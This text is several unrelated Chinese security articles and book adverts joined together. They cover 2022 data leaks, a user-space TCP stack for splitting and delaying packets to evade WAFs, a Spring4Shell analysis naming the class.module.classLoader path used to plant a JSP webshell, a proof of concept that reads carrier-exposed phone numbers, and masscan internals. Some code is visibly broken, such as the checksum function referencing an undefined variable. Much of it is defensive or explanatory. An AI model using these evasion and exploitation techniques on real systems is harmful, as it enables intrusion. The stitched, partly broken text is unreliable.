1. 简单梳理2022年上半年全球最大的10起数据泄漏事件；
2. 从红蓝攻防的角度去分析这些数据泄漏事件背后的原因；
3. 从红蓝攻防的角度为企业如何保护好自己的数据给出几点建议。

• 受影响的人数：124万

• 受影响的人数：154万

• 受影响的人数：180万

• 受影响的人数：200万

• 受影响的人数：229万

• 受影响的人数：257万

• 受影响的人数：276万

• 受影响的人数：375万

• 受影响的人数：700万

• 受影响的人数：820万

• 攻击路径梳理
• 互联网攻击面收敛
• 外部接入网络梳理
• 隐蔽入口梳理

• 资产动态梳理
• 互联网端防护
• 访问策略梳理
• 主机加固防护
• 供应链安全

• 靶标系统
• 集权系统
• 重要业务系统

• 产品应急支撑
• 安全事件应急支撑
• 情报支撑
• 样本数据分析支撑
• 追踪溯源支撑

• 自动化的IP封禁
• 全流量网络监控
• 主机监控
• 日志监控
• 蜜罐诱捕
• 情报工作支撑

• 完善各级组织结构，如监测组、研判组、应急处置组（网络小组、系统运维小组、应用开发小组、数据库小组）、协调组等。
• 明确各方人员，在各个组内担任的职责，如监测组的监测人员，负责某台设备的监测，并且7×12小时不得离岗等。
• 明确各方设备的能力与作用，如防护类设备、流量类设备、主机检测类设备等。
• 制定可能出现的攻击成功场景，如Web攻击成功场景、反序列化攻击成功场景、Webshell上传成功场景等。
• 明确突发事件的处置流程，将攻击场景规划至不同的处置流程：上机查证类处置流程、非上机查证类处置流程等。

本文部分内容摘编自《红蓝攻防：构建实战化网络安全防御体系》（ISBN：978-7-111-70640-3），经出版方授权发布。

《红蓝攻防：构建实战化网络安全防御体系》

点击上图了解及购买

转载请联系微信：DoctorData

推荐语：这是一部从红队、蓝队、紫队视角全面讲解如何进行红蓝攻防实战演练的著作，是奇安信安服团队多年服务各类大型政企机构的经验总结。本书全面讲解了蓝队视角的防御体系突破、红队视角的防御体系构建、紫队视角的实战攻防演练组织。系统介绍了红蓝攻防实战演练各方应掌握的流程、方法、手段、能力、策略，包含全面的技术细节和大量攻防实践案例。

刷刷视频👇

👆点击“博文视点Broadview”，获取更多书讯

所有伟大的技术变革都是顺应时代发展的潮流而生的。

随着云计算和移动办公时代的到来，传统安全模式已经渐渐失效，“零信任”成为当下最受认可的安全架构。

传统的安全模式以边界防御为中心，在边界处部署防火墙、WAF、IPS等网络安全产品进行防御，通过建设一层一层的“城墙”，将可信的内网和不可信的外网隔离开。

然而，随着移动办公的兴起、APT攻击的泛滥，原本清晰的网络边界已经逐渐模糊。

网络攻击可能源自内部。黑客通过入侵用户设备、窃取身份，长期潜伏在企业内部网络，传播风险，给企业带来巨大的安全威胁。

零信任就是在这个背景下应运而生的。

零信任的理念是“持续验证，永不信任” ，授权不再以网络边界为中心，而是以身份和数据为中心，进行动态授权。

零信任网络中默认拒绝一切。无论什么类型的用户和资源，无论处于什么位置，在进行严格的身份验证和授权之前，不允许访问任何资源。

就像防疫政策一样，当我们面对的是传播力更强的奥密克戎病毒时，不仅要在大楼的出入口测温，还要对每个人进行持续的验证，检查每个人是否与病毒携带者有过时空伴随，是否去过高风险地区，是否打了疫苗等等。只有做到对每个人的“零信任”，才能有效对抗威胁。

零信任架构已经得到了主流市场的广泛认可，未来两年内仍未采用的企业会感到落后的压力。

谷歌是最早采用零信任架构的公司，目前已有超过10万名员工都在通过谷歌的零信任系统BeyondCorp进行日常办公。

著名咨询机构Gartner认为未来几年内将有80%的面向生态合作伙伴的新数字业务应用采用零信任网络访问。

2021年，美国总统拜登签署行政令要求政府各级部门落实零信任技术。美国国防部发布了他们的零信任参考架构。

零信任安全架构已经引起了国家相关部门和业界的高度重视。2019年，工信部发布了《关于促进网络安全产业发展的指导意见》，将零信任安全列为网络安全需要突破的关键技术。中国信通院发布了《中国网络安全产业白皮书（2019年）》，将零信任安全技术列为我国网络安全重点细分领域技术。不少政府单位、大中型企业已经开始研究零信任架构的落地问题。国内正在兴起一股零信任的建设热潮。

很多刚接触零信任的人会感觉“看不懂”零信任。

如果你在网上浏览零信任的资料，你就会发现，各个机构的零信任模型不同，各个厂商的解决方案也各不相同。行业内各家自说自话，令人摸不着头脑，看不明白到底什么才是零信任。

因此，推荐这本《白话零信任》给大家。

这本书从头开始，把历史上零信任的每个流派都梳理了一遍，盘点了各家的行业标准和技术框架。

本书提供了一个全局视角，以便读者可以俯视百花齐放的市场现状。

另外，所有人都知道“零信任”是一种整体的网络安全架构。但实际上，市场上大多数零信任产品只是一个加强版的VPN。很多人只能看到零信任的冰山一角，而看不到 “全貌”。

《白话零信任》书中总结了完整的零信任模型，并且结合很多大型企业的整体建设、改造经验，试图展现出零信任架构的全貌，而不止是浮出水面的部分。

零信任有“7大维度”——数据、用户、设备、工作负载、网络、可见性与分析、自动化和编排。

就像谷歌的安全实践中，不只有BeyondCorp替代VPN。还有身份大数据、设备清单库的建立；有BeyondProd来做“从前置应用、到后置服务、到数据”整个流程前后关联的访问控制；有从底层硬件、到操作系统、到代码构建层层渗透的身份认证……

一个用户查看Gmail里的日历信息时，数据服务不仅要考察Gmail服务器是否合法，还要检查终端用户是否合法，用户的操作是否有必要驱动后端服务的调用，调用API的服务器上运行的代码是否可信等等。

总的来说，本书主要介绍了零信任在国内国外的发展历史，国内的市场现状、完整的零信任架构，深入解析8大技术组件，从攻防角度总结了零信任应对各类安全威胁的防御手段，介绍了24种各具特色的应用场景。通过4个典型案例的落地效果和实施经验，从建设视角、运营视角介绍了如何根据实际情况，规划、建设零信任网络，如何使用零信任，利用零信任进行整体安全运营。

01. 全面

结合作者多年的实践经验，盘点了零信任历史上的5大流派，梳理了零信任的8大核心组件和24个各具特色的应用场景，通过综合对比，做出更全面的分析解读。

02. 实战

本书不单纯剖析技术理论，而是从企业建设的甲方视角思考，从国内实际情况出发，挖掘零信任的价值和作用，总结落地实施的最佳实践。

03. 白话

通过直白、易懂的语言，深入浅出地介绍零信任架构中的各种新兴技术，在实际例子中说明各类技术的原理、用处、限制。

《白话零信任》适合从事网络安全工作的各类人群。

希望《白话零信任》能帮助读者朋友们快速掌握零信任知识的，帮助读者朋友们更好地完成零信任的研究和实践工作。

同时，作者也希望跟大家交流互动，共同探讨如何将这么好的架构在更多场景中落地。

粉丝专享福利，限时49元包邮

快快扫码抢购吧

如果喜欢本文
欢迎 在看丨留言丨分享至朋友圈 三连

 热文推荐  

硅谷来信：Google、Facebook员工的“成长型思维”
一本顶流著作和一次匠心翻译！
更贴心、更好学的Python自动化办公教程！
书单 | 轻松玩转Python自动化办公

最近半年个人工作，生活变动比较大，所以不太活跃，目前正在调整中～
为什么实现简易版用户态TCP：

1. 为了给我的资产监控添加用户态tcp扫描功能，加快扫描速度，多快好省
2. 实现构造畸报文的方式绕过网络设备，满足一些奇怪的需求。tcp属于内核态，不会提供让我们胡作非为的功能。

本篇文章主要分为如下几个部分：

1. tcp/ip数据包的构建
2. 实现tcp的基础以及http传输的原理
3. 简单介绍种绕过姿势

当然，目前工具暂时不开源，因为还没有完善，待后面完善后再开源。目的是可以无损代替python中的tcp模块

构建tcp ip 数据包

以太网帧

既然我们决定实现用户态的tcp，那么我们需要构造tcp/ip的数据包。关于如何使用libpcap发包，请参考上一篇文章。
学过计算机网络的同学都知道，发送一段网络报文，首先是以太网首部，随后紧跟ip报文，再是tcp或者udp等运输层数据报文。最终才是数据，如图

所以我们需要根据协议，从以太网帧开始构建数据报文。在这里需要使用python提供的struct模块，将python的数据类型转换为bytes数组。因为以太网帧并不需要校验和，所以构造相对简单。
在这里我们并不需要考虑VLAN（虚拟局域网），因为在我们的运行环境中，交换机都配置为Access模式，很少有配置为Trunk或者Hybrid模式。当然，如果有其他特殊需求，例如跨VLAN等，可以考虑在构造以太网帧中添加vlan。

注意，以太网帧并不提供校验等功能。如果发包频率过快，会导致上层设备丢弃报文。在二十年前，icmp发送源抑制报文，但是现在该报文已被废除。所以masscan的发包速率不可过快。

既然我们决定从数据链路层构建报文，我们也需要处理arp请求。我们在接收到arp请求后，假如请求的是我们自己的协议地址，那么我们需要构建arp相应。如果我们的用户态tcp程序的ip地址与系统配置的ip地址相同，那么可以忽略arp请求响应。

@classmethod
def unpack(cls, px):
    point = 0
    # 硬件地址类型，网络层协议类型，硬件地址长度，网络层协议地址长度
    # 所以我们目前不支持ipv6
    hadware_type, protocol_type, hardware_addr_len, protocol_addr_len = struct.unpack("!HHBB", px[point:point + 6])
    point += 6
    # ipv4 的arp请求
    if protocol_type == Ether_Protocol.IPV4:
        oper, = struct.unpack("!H", px[point:point + 2])
        point += 2
        
        sender_mac_addr, = struct.unpack(f"!{hardware_addr_len}s", px[point:point + hardware_addr_len])
        point += hardware_addr_len
        sender_proto_addr, = struct.unpack(f"!{protocol_addr_len}s", px[point:point + protocol_addr_len])
        point += protocol_addr_len
        
        target_mac_addr, = struct.unpack(f"!{hardware_addr_len}s", px[point:point + hardware_addr_len])
        point += hardware_addr_len
        target_proto_addr, = struct.unpack(f"!{protocol_addr_len}s", px[point:point + protocol_addr_len])
            point += protocol_addr_len

这时候有的同学会问，那岂不是我们只要接受到特定网卡mac地址的请求，我们也可以胡乱回应。理论上来讲是这样，但是要具体分析物理层。如果物理层是WLAN的话，AP是不会给你的网卡发送不属于你mac地址的数据报文。所以mac地址尽量不要乱改。

ip数据包

ip数据包的格式如下

    """
    0                 1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |Version|  IHL  |Type of Service|          Total Length         |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |         Identification        |Flags|      Fragment Offset    |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |  Time to Live |    Protocol   |         Header Checksum       |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                       Source Address                          |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                    Destination Address                        |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                    Options                    |    Padding    |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        IP报文格式
        1. 4位IP-version 4位IP头长度 8位服务类型 16位报文总长度
        2. 16位标识符 3位标记位 13位片偏移 暂时不关注此行
        3. 8位TTL 8位协议 16位头部校验和
        4. 32位源IP地址
        5. 32位目的IP地址
    """

在网络中，ip，tcp，udp的校验和计算公式都一致，代码如下。

    def checksum(self, raw_packet):
        chksum = 0
        if raw_packet%2:
            # 说明长度是奇数，需要在末尾padding一个byte的0
            raw_packet += b'\x00'
        for i in range(0, len(raw_tcp), 2):
            chksum += int.from_bytes(raw_packet[i:i + 2], "big", signed=False)
        chksum = (chksum >> 16) + (chksum & 0xffff)
        chksum = chksum + (chksum >> 16)
        return ~chksum & 0xffff

最终代码如下

    def pack(self):
        chksum = 0
        raw = struct.pack("!BBHHH", self.version << 4 | self.ipv4_header, 0xc0, self.tol, self.identification,
                              self.flag << 13 | self.offset)
        raw += struct.pack("!BBHII", self.ttl, self.protocol, chksum, ip2int(self.src_ip), ip2int(self.dst_ip))
        chksum = self.checksum(raw)
        raw = struct.pack("!BBHHH", self.version << 4 | self.ipv4_header, 0xc0, self.tol, self.identification,
                              self.flag << 13 | self.offset)
        raw += struct.pack("!BBHII", self.ttl, self.protocol, chksum, ip2int(self.src_ip), ip2int(self.dst_ip))
        return raw

tcp数据包

包结构如下

最终代码如下

 def pack(self):
        """
        打包tcp
        :return:
        """
        chksum = 0
        raw_tcp = struct.pack('>HHLLBBHHH', self.src_port, self.dst_port, self.seq_num, self.ack_num, self.data_offset,
                              self.flag, self.win_size, chksum, self.urg_pointer)
        raw_tcp += self.data
        chksum = self.chksum(raw_tcp)
        return struct.pack('>HHLLBBHHH', self.src_port, self.dst_port, self.seq_num, self.ack_num, self.data_offset,
                           self.flag, self.win_size, chksum, self.urg_pointer) + self.data

当然，如果想更详细地了解tcp的状态机，请参考Embedded Xinu操作系统的源码，该源码简单易懂，链接如下
https://github.com/xinu-os/xinu/blob/28a035ae86ba2cd38b7c07f4d35fe8115ad3078d/device/tcp/tcpRecv.c

TCP 分包bypass

在这里主要介绍一下seq与ack以及几种标志位。
在建立好tcp连接后，我们就可以发送数据了。这时候标志位需要设置为ACK。seq序列号为上一次发送数据包的seq + 上次发送数据的长度。如下代码

tcp = TcpPkt(self.port_me, self.dst_port, self.seq_num, self.ack_num, TcpFlag.ACK)
tcp.data = data
self.eth_pkt.set_transport(tcp)
rawsock_send_ipv4(pcap, self.eth_pkt.pack())
self.seq_num += len(data)

对于http这种协议，首先发送http请求头，在请求头中注明请求体的长度，也就是content-length。发送完http请求头后，在最后一条tcp报文中需要设置tcp ACK和PSH。PSH标志位告诉上层应用可以接受消息了。
当然对于http chunk这种编码另说。这时候上层应用再根据content-length标注的长度继续接收报文。

在接收到tcp的报文，需要回复ACK，当然这个ACK报文可以不需要携带数据。并且seq也不需要+1。ack的长度为接收到报文的seq与接收报文的数据长度。

elif tcp_session.state == State.ESTABLISHED:
    if recv_tcp.transport.data:
        tcp_session.ack_num = recv_tcp.transport.seq_num + len(recv_tcp.transport.data)
        tcp_session.data += recv_tcp.transport.data
        tcp = TcpPkt(tcp_session.port_me, tcp_session.dst_port,
                     tcp_session.seq_num, tcp_session.ack_num, TcpFlag.ACK)
        tcp_session.eth_pkt.set_transport(tcp)
        rawsock_send_ipv4(pcap, tcp_session.eth_pkt.pack())
        if recv_tcp.transport.flag & TcpFlag.PSH:
            tcp_session.push = True

一般情况下，一条http请求或者http响应，都在一个包中。在上一节我们可知，每个包最大可以1420个字节。这足够容纳很多内容了。

这也就是为什么很多安全设备不愿重组包的原因

1. 操作系统默认会将一次请求塞进一个tcp保重，这样安全设备只检查每一个包即可完成拦截任务。这样既节省了资源，又完成任务。这也就是http chunk可以绕过WAF的原因。
2. 在高速报文的请求中，防火墙很难追踪每一条tcp会话，硬件不允许。

那么我们在发tcp包的时候，只需要控制每个包发送的长度，分多次发，最后一个数据包发送PSH&ACK即可。最终实现截图

这个时候我们再加入乱序发包的功能，延迟发包的功能，就可以更方便地绕过安全设备。安全设备即使重组tcp回话，假如每个包都延迟到达，这个延迟时间刚好处于安全设备重组TCP会话的等待延迟与系统重组的延迟时间之间，就可以达到绕过安全设备的目的。

这时我们已经达到发包实现分块传输，但是怎么让对方设备的回包也实现分块传输呢。这时候我们需要借助tcp的window滑动窗口机制。
TCP使用“窗口”，意味着发送方发送一个或更多数据包，接收方就会响应一个或所有数据包。当接收方开始一个TCP连接时，自身会打开一个接收缓存区作为临时存储，之后再交给程序处理。
当接收方发送一个ACK响应(即对收到数据的响应)时，接收方会告诉发送者下一次我能接收多少数据，我们管这个叫窗口大小(window size)。一般这个窗口大小就是接收方缓冲区的大小。

我们只需要将tcp的window设置的足够小，就可以实现对端设备响应的分块，如图

同样，我们可以启动延迟确认数据等构造畸形请求的方式以干扰安全设备重组tcp会话的功能。

QNSM

QSNM是否进行流重组，以条件编译确定__QNSM_STREAM_REASSEMBLE，默认配置中是不进行TCP流重组的
同一个流的TCP都会进行流重组，上下行都在一个缓存队列中，最大支持8个报文，且不考虑重叠部分
重组方法基于 hashmap + 双向链表
TCP流缓存删除方式：1. 老化 2. 无需进一步解析 3. 命中规则
具体参考
https://zhuanlan.zhihu.com/p/393121010

当然绕过姿势还很多，只要我们实现了自己的用户态TCP，就可以胡作非为～

简介

环境，找个spring参数绑定的博客就行，这里给个环境例子https://github.com/wycm/SpringMVC-Demo.git。

具体参考SpringMVC参数绑定入门就这一篇 https://segmentfault.com/a/1190000022586808 

该漏洞的本质类似于php的变量覆盖漏洞，exp利用的话，恰好覆盖到tomcat的配置，并修改tomcat的日志位置到根目录，修改日志的后缀为jsp。但是这里叫SpringMVC的参数绑定。如图

http://localhost:8080/web_war/ParameterBind/test2?name=aa

如果我们把name这个变量给User这个对象，User对象的代码如下

public class User {
    private String name;
    private Integer age;
    
    public String getName() {
        return name;
    }
    
    public void setName(String name) {
        this.name = name;
    }
    
    public Integer getAge() {
        return age;
    }
    
    public void setAge(Integer age) {
        this.age = age;
    }
}

正常思维是从Http get参数中获取name的值 实例化对象，然后赋值，但是spring框架简化这个过程，所以就叫参数绑定。spring代码如下

    @ResponseBody
    @RequestMapping("/test2")
    public String test2(User u){
        System.out.println(u.toString());
        return "test2";
    }

也就是说spring从http请求中自动解析变量，并给user对象。

可以想象，该项技术的实现必然有大量的反射技术。下面我们来分析一下实现过程。

参数绑定实现过程

org.springframework.beans.AbstractPropertyAccessor#setPropertyValues(org.springframework.beans.PropertyValues, boolean, boolean)

在这里开始，将http请求中每一个kv对，设置到bean对象上，

 public void setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid)
   throws BeansException {
  List<PropertyAccessException> propertyAccessExceptions = null;
  List<PropertyValue> propertyValues = (pvs instanceof MutablePropertyValues ?
    ((MutablePropertyValues) pvs).getPropertyValueList() : Arrays.asList(pvs.getPropertyValues()));
  for (PropertyValue pv : propertyValues) {
    // This method may throw any BeansException, which won't be caught
    // here, if there is a critical failure such as no matching field.
    // We can attempt to deal only with less serious exceptions.
    setPropertyValue(pv);

org.springframework.beans.BeanWrapperImpl#setPropertyValue(org.springframework.beans.PropertyValue)

 public void setPropertyValue(PropertyValue pv) throws BeansException {
  PropertyTokenHolder tokens = (PropertyTokenHolder) pv.resolvedTokens;
  if (tokens == null) {
   String propertyName = pv.getName();
   BeanWrapperImpl nestedBw;
   try {
    nestedBw = getBeanWrapperForPropertyPath(propertyName);
   }
   catch (NotReadablePropertyException ex) {
    throw new NotWritablePropertyException(getRootClass(), this.nestedPath + propertyName,
      "Nested property in path '" + propertyName + "' does not exist", ex);
   }
   tokens = getPropertyNameTokens(getFinalPath(nestedBw, propertyName));
   if (nestedBw == this) {
    pv.getOriginalPropertyValue().resolvedTokens = tokens;
   }
   nestedBw.setPropertyValue(tokens, pv);
  }
  else {
   setPropertyValue(tokens, pv);
  }
 }

在getBeanWrapperForPropertyPath中，开始解析http中的key，也就是类似于这类请求

下一个调用上一个的get + 属性名。在这里就是调用class的setModel方法，参数为aa，字符串类型。也就是设置class的Model值为aa。那么问题来了，class是谁？所以对于参数绑定来讲，就是你的那个bean对象的属性。也就是系统默认会有name和age。但是偏偏多了一个class，指向bean对象的类的引用。导致通过这个class引用，修改非bean对象的属性的值。也就造成了变量覆盖。

但是通过参数绑定去修改的对象有限，必须能通过class为起始对象，并且可以通过无参get方法获取到引用，必须有get/set方法。修改的值必须为字符串。

每个bean对象的Propery的cache，在初始化的时候由下面的方法调用生成。

org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults

这也就是为什么很多exp在Java8不可以的原因。

当初 Spring 修复了 CVE-2010-1622，修复方式是拦截 Class.getClassLoader的访问，也就是如上图，但是Java9新增了可以通过Class.getModule方法。通过getModule的结果可以调用getClassloader的方式继续访问更多对象的属性。

https://docs.oracle.com/javase/9/docs/api/java/lang/Module.html

org.springframework.beans.BeanWrapperImpl#setPropertyValue(org.springframework.beans.BeanWrapperImpl.PropertyTokenHolder, org.springframework.beans.PropertyValue)

调用set+属性名的方法，设置bean的值

class.module.classLoader.resources.context.parent.pipeline.first.prefix我们可以发现，可以直接从class中获取到tomcat的context，在context中存储很多东西，例如修改日志路径属性等等，修改的值为字符串，完美符合本次漏洞的需求。

但是weblogic的context会不会可以通过class获取到引用很难说。所以影响的局限性不限于tomcat这一种中间件。

自查方案

目前exp具体影响不明，因为一个完美的武器级exp需要满足

1. 必须要能通过class为起始对象获取到引用（深度搜索的起点为class），并且还要有无参get方法
2. 必须有get/set方法，符合java bean规范。
3. set方法的值必须为字符串
4. 该controller必须存在spring的参数绑定。

目前只流传tomcat的exp，不排除其他中间件的exp，不排除dos等其他漏洞的exp。

waf规则

现在我们知道为什么java9可以而java8不可以的原因，所以我们可以断定class.module这串字符串一定出现在exp的请求中，可以重点防御这串字符串

甲方自查手册

1. 确定线上业务中的controller是否使用了spring的参数绑定技术，如果使用则按照下一条继续排查

2. jdk版本是否为jdk9以上，jdk8以下天然防御

因为该漏洞的本质是变量覆盖漏洞，但是利用手法通过覆盖tomcat的配置修改tomcat的日志位置到根目录，修改日志的后缀为jsp去getshell。

3. 如果防止getshell，则重点排查中间件是否为tomcat。

4. 非tomcat中间件目前来说不一定会被getshell，但是存在被该漏洞影响到线上业务的风险（任意变量覆盖到中间件的其他变量配置，导致dos等其他场景），建议停机修改应用，修复方式如下

注意，目前只有通过应用下线重发布的方式打补丁，并且非spring官方推荐修复，存在一定几率的翻车风险。同时按以下两个步骤进行漏涧的临时修复:

1.在应用中全局搜索@InitBinder注解，看看方法体内是否调用dataBinder.setDisallowedFields方法，如果发现此代码片段的引入，则在原来的黑名单中，添加{"class.","Class. ",". class.", ".Class."}。(注:如果此代码片段使用较多,需要每个地方都追加)

在应用系统的项目包下新建以下全局类，并保证这个类被Spring 加载到(推荐在Controller 所在的包中添加).完成类添加后，需对项目进行重新编译打包和功能验证测试。并重新发布项目。

import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class a{
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] abd = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(abd);
}
}

0x01 简介

这个就是传说中的，访问网页即可获取你手机号，多用来网站营销等。例如搜索xxx病后，点击进入推广广告，进入网页后，后台即可获取到你手机号。不一会，推广广告和骚扰电话就打进来了。

上网刷高铁相关信息，网页右下角竟然弹出了一个绿色的小球，点进去，是联通上网助手，提醒还有多少流量。我是联通无限流量，能缺这点钱嘛，于是分析一波。网页类似于这个

这玩意的原理是，http的请求时明文的，也就是请求可以随便被运营商xxoo，流量经过联通的网关后，联通判断为http明文流量，强行在响应中插入自己的内容。如下：

<script charset="UTF-8" src="http://*.*.28.96:8080/get?time=1527064790657&amp;tlbsip=http://*.*.28.96:8080/&amp;website=m.8684.cn&amp;charset=utf-8"></script>

因为我们上网需要经过联通网关进行认证与计费，所以访问相应的联通接口后，联通的接口通过我们手机上网的网关的认证去获取我们的手机号，并在接口中响应。大致原理就是这样，关于如何防御:

1. 使用Wi-Fi
2. 使用vpn
3. 在vpn上，reject 请求联通接口的ip

0x02 手机连接电脑的开发者模式

手机的浏览器肯定没有前端所需的开发者模式，于是我们可以通过电脑浏览器的远程调试模式，去调试手机上打开的网页。在这里，chrome，safari都可以去调试。chrome对应调试安卓上的网页，safari对应调试ios上的网页。由于我的是iPhone手机，所以这里给出ios的设置方法。手机点击设置，Safari浏览器，高级，web检查器，选择打开即可。

0x03 分析网页

手机使用Safari打开网页后，macbook上同样打开Safari，开发，你的iPhone名字，就会显示当前打开的网页。点击进去，直接查看网页的网络连接，如图

看样子，*.*.28.96这个ip很可疑。我们过滤一下请求

可以明显看出，通过jsonp的方式跨域加载资源，其中top.tlbs.msisdn，就是我们的手机号。

0x04 poc

我们可以通过script标签来加载这个资源，然后通过alert把我们手机号弹出

<script src="http://*.*.28.96:****/get?charset=utf-8">
</script>
<script>alert(top.tlbs.msisdn)</script>

如图

本篇文章介绍扫描端口，分为masscan原理分析以及重写改造两大部分。下篇文章介绍生产者消费者以及锁，无锁环形队列如何移植到python的实现。下下篇介绍如何移植用户态tcp到我们的扫描程序，加快扫描指纹。

masscan用作端口扫描，优点在于扫描速度快。但是缺点也很明显，那就是扫描不准确，经常出现漏报误报的问题。恰好自己也需要大批量端口扫描，于是放假期间研究了一下masscan。

原理分析

为了方便分析，代码我将使用python代码代替。学过计算机网络的人都知道，要想上网，必须要经过网关转发数据。如下图

对于主机来讲，怎么确定报文是否需要通过网关转发？那就需要用到掩码与网络地址。将目标地址与掩码做and运算，计算出目标地址的网络地址。如果目标地址的网络地址不是本网络地址的话，那么将报文交由网关转发，也就是该报文的数据链路层帧的目标mac地址是路由器的mac地址。这个就是扫描端口最基础的知识。对于masscan来讲，他绕过了系统tcp/ip的所有组件，直接在网卡上收发报文。也就是说，masscan自己写了小小的tcp/ip协议。ip地址与mac地址在tcp/ip中用来标识本机。既然已经绕过系统的tcp/ip，那么ip地址与mac地址就可以自己指定，并不需要系统的ip地址。如果我们的小TCP/IP协议与系统tcp/ip使用相同的ip地址的话，在收发某些报文的时候很有可能与系统冲突。

所以我们看到在masscan在输入参数的时候，需要输入ip地址，当然，如果不使用这个参数的话，那么使用系统的ip地址。既然masscan是用户态ip，那么还需要网关地址。网关的IP地址用来通过arp请求，获取到网关的mac地址。由以下几个函数获取，这里不再详细赘述

高速包捕获技术

我们需要开始接管网卡，绕过网卡直接收发数据。当然linux中提供rawsocket的方式可以自由组装报文。Linux网络协议栈是处理网络数据包的典型系统，它包含了从物理层直到应用层的全过程。

但是相对于pcap，pfring相比，效率还是很低。pcap，pfring提供直接在网卡中收发数据。并且使用例如DMA，零拷贝技术。将网卡收到的数据高效快捷地发送给用户态程序，也就是masscan。几种技术的简单对比，当然对于我们来讲pcap是最简单的方案。我们的程序将运行在vps中，pcap兼容性好，在linux中pcap默认安装。对于我们扫描端口来讲，pcap就可以很好地完成任务。

在c语言中，调用pcap初始化的时候，根据网卡名字打开网卡设备。masscan中代码注释如下

打开成功后将会返回pcap的指针，稍后我们通过该网卡发送，接收报文的时候，需要使用该指针（你可以把他想象成面向对象的对象的this指针） 这块没有什么难度，不会的看看文档。在这里也不需要例如dpdk等技术，所以就加快了我们的开发速度。

在这里我们还需要了解链路类型到底是什么，因为不光有以太网，还有VPN等等不同种类的链路类型。不同种类的链路类型将决定是否使用arp协议去获取mac地址以及如何组装二层的数据链路层帧。

存储待扫描ip

我们在小内存vps上使用nmap扫描超大网段，例如A，B网段的时候，可能会发现nmap直接闪退。在我们不考虑广播地址，网络地址的情况下，一个A类网段有16777214个ip地址。在内存中我们使用无符号型32位int类型存储，在不考虑存储其他数据结构的情况下，需要16777214*4 = 67108856个字节，约63M内存去存储待扫描目标。如果我们同时扫描多个A段，那么小内存VPS可能无法承受。

同时我们知道，如果按照顺序扫描网段，从第一个ip地址一直扫描到最后一个ip。很容易触发对方防火墙的规则策略。最好的办法是将待扫描网段随机化处理。这样可以很好地规避该问题。

大家可以把这个问题抽象为洗牌算法，即保证手里的牌是随机的，同时也要保证不能重复。当然我们扫描端口，并不需要解决随机洗牌算法的每个元素等概率随机的难题。但是难点在于，首先要存储所有目标IP才能使用随机洗牌，并且最好的唐纳德洗牌算法的时间复杂度为O(n)，从时间复杂度与空间复杂度的角度来讲并不是很好的选择。

masscan使用了非常巧妙的设计，从python生成器的角度实现随机从某个区间不重复地取出元素的方法，根据介绍，称为BlackRock算法。但是这个有个比较大的难题，漏扫与多扫的情况十分多。

我们将这段代码抠出来，运行一下便知。极端情况下，扫描一个c段，可能漏扫现象也十分严重。python版blackhold算法如下

简易用户态TCP/IP

在这里我们暂时不考虑vlan的情况，因为一台主机的接口为trunk的情况实在是太少了。即使接口为trunk模式，如果我们的报文不设置vlan的话，那么交换机将会使用native vlan转发。

arp协议

现在目标，网卡都搞定了，我们该扫描端口了。首先我们要通过arp协议，解析到网关的mac地址。根据arp协议的说明，我们发送广播报就行，该包被称为arp请求包。ARP 报文格式如图所示。ARP 报文总长度为 28 字节，MAC 地址长度为 6 字节，IP 地址长度为 4 字节。

其中，每个字段的含义如下。

• 硬件类型：指明了发送方想知道的硬件接口类型，以太网的值为 1。
• 协议类型：表示要映射的协议地址类型。它的值为 0x0800，表示 IP 地址。
• 硬件地址长度和协议长度：分别指出硬件地址和协议的长度，以字节为单位。对于以太网上 IP 地址的ARP请求或应答来说，它们的值分别为 6 和 4。
• 操作类型：用来表示这个报文的类型，ARP 请求为 1，ARP 响应为 2，RARP 请求为 3，RARP 响应为 4。
• 发送方 MAC 地址：发送方设备的硬件地址。
• 发送方 IP 地址：发送方设备的 IP 地址。
• 目标 MAC 地址：接收方设备的硬件地址。
• 目标 IP 地址：接收方设备的IP地址。

ARP 数据包分为请求包和响应包，对应报文中的某些字段值也有所不同。

• ARP 请求包报文的操作类型（op）字段的值为 request(1)，目标 MAC 地址字段的值为 Target 00：00：00_00：00：00(00：00：00：00：00：00)（广播地址）。
• ARP 响应包报文中操作类型（op）字段的值为 reply(2)，目标 MAC 地址字段的值为目标主机的硬件地址。

�相关的代码如图，其实就是按byte组装串，交给网卡发送就行。相关代码在stack_arp_resolve

既然我们是用户态TCP/IP，那么对于我们的arp请求同样要回复。如果我们不回复，那么对方不知道我们的mac地址，很有可能导致报文无法正常传递。

相关代码在stack_arp_incoming_request

理论上讲我们可以设置任何mac地址用来发包，但是因为我们要处理arp响应，所以尽量使用真实mac地址。在某些特殊的环境中，比如wifi环境下，假如你乱修改mac地址，那么路由器根本就不给你这个信道发送报文！

在masscan中，默认会把所有的数据包都交给网关转发。假如需要扫描本地网段的话是不需要将报文交给网关转发的。所以，路由器在这个时候会发送tcmp重定向报文。但是masscan并不会响应该报文。

所以，masscan是无法扫描同网段IP和本机！

IP报文

我们还需要构造IP报头，才可以将数据包正常转发。IP报头的格式如下具体代码在_template_init

TCP扫描

这块是扫描的重中之重。扫描端口，确切的来讲是与待开放端口成功地建立tcp连接。我们先回顾tcp建立连接的三次握手

发送

